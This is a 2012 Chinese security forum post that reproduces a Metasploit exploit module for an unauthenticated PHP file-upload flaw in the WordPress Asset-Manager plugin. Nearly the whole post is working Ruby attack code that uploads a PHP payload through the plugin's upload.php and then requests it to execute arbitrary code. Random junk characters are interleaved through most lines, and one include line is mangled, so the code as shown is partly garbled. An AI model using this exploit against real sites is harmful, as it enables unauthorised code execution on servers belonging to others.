找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2286|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。3 F2 m; T# ]/ E

1 R3 l7 V, I7 L* ]9 G##* _, _2 f+ E( H9 R. W
# This file is part of the Metasploit Framework and may be subject to
, j9 z7 k3 ?- K# redistribution and commercial restrictions. Please see the Metasploit
$ _- B1 t$ Z2 z& R; n" G# Framework web site for more information on licensing and terms of use.* _1 ?0 E- V/ n& ~. s8 A
#   http://metasploit.com/framework/" M8 e# l; s  H! R2 a5 x
### ~$ |2 L# m1 D" x% p

% H: Y, X. A6 F# }" vrequire 'msf/core'/ A0 E( Y1 M2 x6 y& C/ |9 U; H' p4 a6 S
require 'msf/core/exploit/php_exe'
6 C' Y+ w+ @7 E7 t' b2 v 9 G# t+ H0 K5 q- R9 {2 p8 L
class Metasploit3 < Msf::Exploit::Remote
8 \  |3 P2 T# {4 {4 J$ i+ |  Rank = ExcellentRanking* C/ @& J3 Q5 q1 S

! |3 ^, P* Z, t/ L3 I% F) T( n# X  include Msf::Exploit::Remote::HttpClient: D  A" o. b$ K: `0 {( G5 Y& m
  include Msf::Exploit:hpEXE7 ]0 P+ }0 A# M$ |1 E) i3 m! Q* y
4 x% {" z$ k& {" V+ b  k
  def initialize(info = {})8 C9 o- Q2 ?+ S& n
    super(update_info(info,: S- Y( e/ r! [9 |
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
) U& }; v, i5 D& H      'Description'    => %q{
5 \1 m7 l/ x2 y        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
) K. ?' j! {; d1 z$ o        plugin.  By abusing the upload.php file, a malicious user can upload a file to a& k: T) o4 P& @4 T3 L
        temp directory without authentication, which results in arbitrary code execution.8 {0 J" W% N( j7 U1 g9 v
      },
4 |2 x) A& G+ ?0 N      'Author'         =>
: i$ |4 W5 A+ I! m% \4 r        [
& ]4 y( \# [: e; _# C" b          'Sammy FORGIT', # initial discovery
- V, {* H4 ~) N4 x# W          'James Fitts <fitts.james[at]gmail.com>' # metasploit module$ T% R: H1 F1 w8 K9 O+ B
        ],. J" z& D( Q. E+ P" A$ W
      'License'        => MSF_LICENSE,5 }: N& C, \1 q9 n5 b6 \4 ?+ t
      'References'     =>' d$ V! L9 y# b, m1 @9 x
        [# q. c2 d) \# T+ f0 h
          [ 'OSVDB', '82653' ],3 K% K! _' J& q2 u: s
          [ 'BID', '53809' ],
1 U9 _$ |" i& S7 P7 X/ L: x          [ 'EDB', '18993' ],8 x* D1 E" r# a% E3 h
          [ 'URL', 'http:// www.myhack58.com /' ]
( _9 h' B# J$ d1 y8 G, C8 j        ],
8 @5 l% {( {2 V  v      'Payload'       =>
3 [2 U) Y/ K/ U- b" W0 n+ ]9 X        {( |9 j. R2 U; M9 ^
          'BadChars' => "\x00",
' k' @+ z+ w5 Z7 Y9 q        },& Z  h! |5 j* v4 E5 c- i
      'Platform'       => 'php',
1 ^, m9 w1 L+ }% M      'Arch'           => ARCH_PHP,
* U" V5 W, y: T* w      'Targets'        =>! ]+ p' p: A$ p0 o2 D
        [" d9 h# C( |. p2 x+ F0 w: F
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],+ z" W4 A$ m, W2 W
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
: O* k& `, W$ \* c+ r        ],; Z% D9 Q# l' |  B
      'DefaultTarget' => 0,
; \/ c& z" B0 K, w  }  h; q      'DisclosureDate' => 'May 26 2012'))6 \6 W* ?1 a5 w- ^* Z% _
% o; \0 }3 M6 Q. r! z6 ]3 H
    register_options(
1 D1 B; Y! c1 S4 B, O& ~5 k      [: @( D( c* N7 f: X  i9 x
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
$ q9 j) Z$ B( m) [1 v7 `$ i1 L      ], self.class)
6 |2 _  B( o) f8 J* t+ a6 R. u  end
8 }5 o! R) F2 Z& s2 G 1 \9 c+ ^4 |1 L$ Y. M- T1 H' [
  def exploit8 b, o* \3 t% \
    uri =  target_uri.path
2 i- t  h- M7 ~, m' i    uri << '/' if uri[-1,1] != '/'
. U; M5 k% C0 Z    peer = "#{rhost}:#{rport}"
- }. Y; R" N/ v! V    payload_name = "#{rand_text_alpha(5)}.php"
! X) u# ~9 y5 c# n    php_payload = get_write_exec_payload(:unlink_self=>true)
9 D: O; a7 v' } / B6 c- e7 L  R4 C
    data = Rex::MIME::Message.new
0 i. h4 l. K; t( m    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")1 V; u" p) ?1 M( u. _+ P  a
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
3 @& T% c# i: z6 N: `4 r4 O0 O   z. Q/ d, g# {" ~; ], N
    print_status("#{peer} - Uploading payload #{payload_name}")
7 O3 O2 m2 `3 S9 G    res = send_request_cgi({
- X" F& Q+ r* g7 V* W+ I3 z      'method'  => 'POST',7 ?1 `: r/ t9 J& W5 t8 f; L$ t+ t
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",. G! G) q2 B' [6 k
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
2 x' b) m9 O4 x- ]+ t      'data'    => post_data
1 k! {8 w- ~1 J- }/ W    })9 I7 |' I: f( Z/ L

7 w% N& t- T' s- O2 o    if not res or res.code != 200 or res.body !~ /#{payload_name}/  `1 h5 `* y$ }6 O/ q
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed"), K$ s  V# S' c
end$ W; P* C) \6 C- c' {( G' P

$ }* T( E1 b2 A+ @    print_status("#{peer} - Executing payload #{payload_name}")+ o5 b/ }9 ~( r! ~5 D
    res = send_request_raw({
  g8 [  h# F( P8 V/ b0 E      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
7 z8 R( H- B' R$ m4 n, {      'method'  => 'GET'% U7 H. m+ o/ W: f2 R! C: M0 v# }
    })
1 S3 r' b, G( {1 C% ~# X! p8 W  O0 `  |
7 ~7 }& P& t* k9 V. E    if res and res.code != 200
+ I. q/ q, }$ h' Q8 a      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
3 m9 k) B- z) H" q    end* M. }+ U% Q3 L# q+ L  B
  end! [  {( u" Y) l# W$ R' |( Y5 Q
end' t9 U& k/ |2 J/ S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表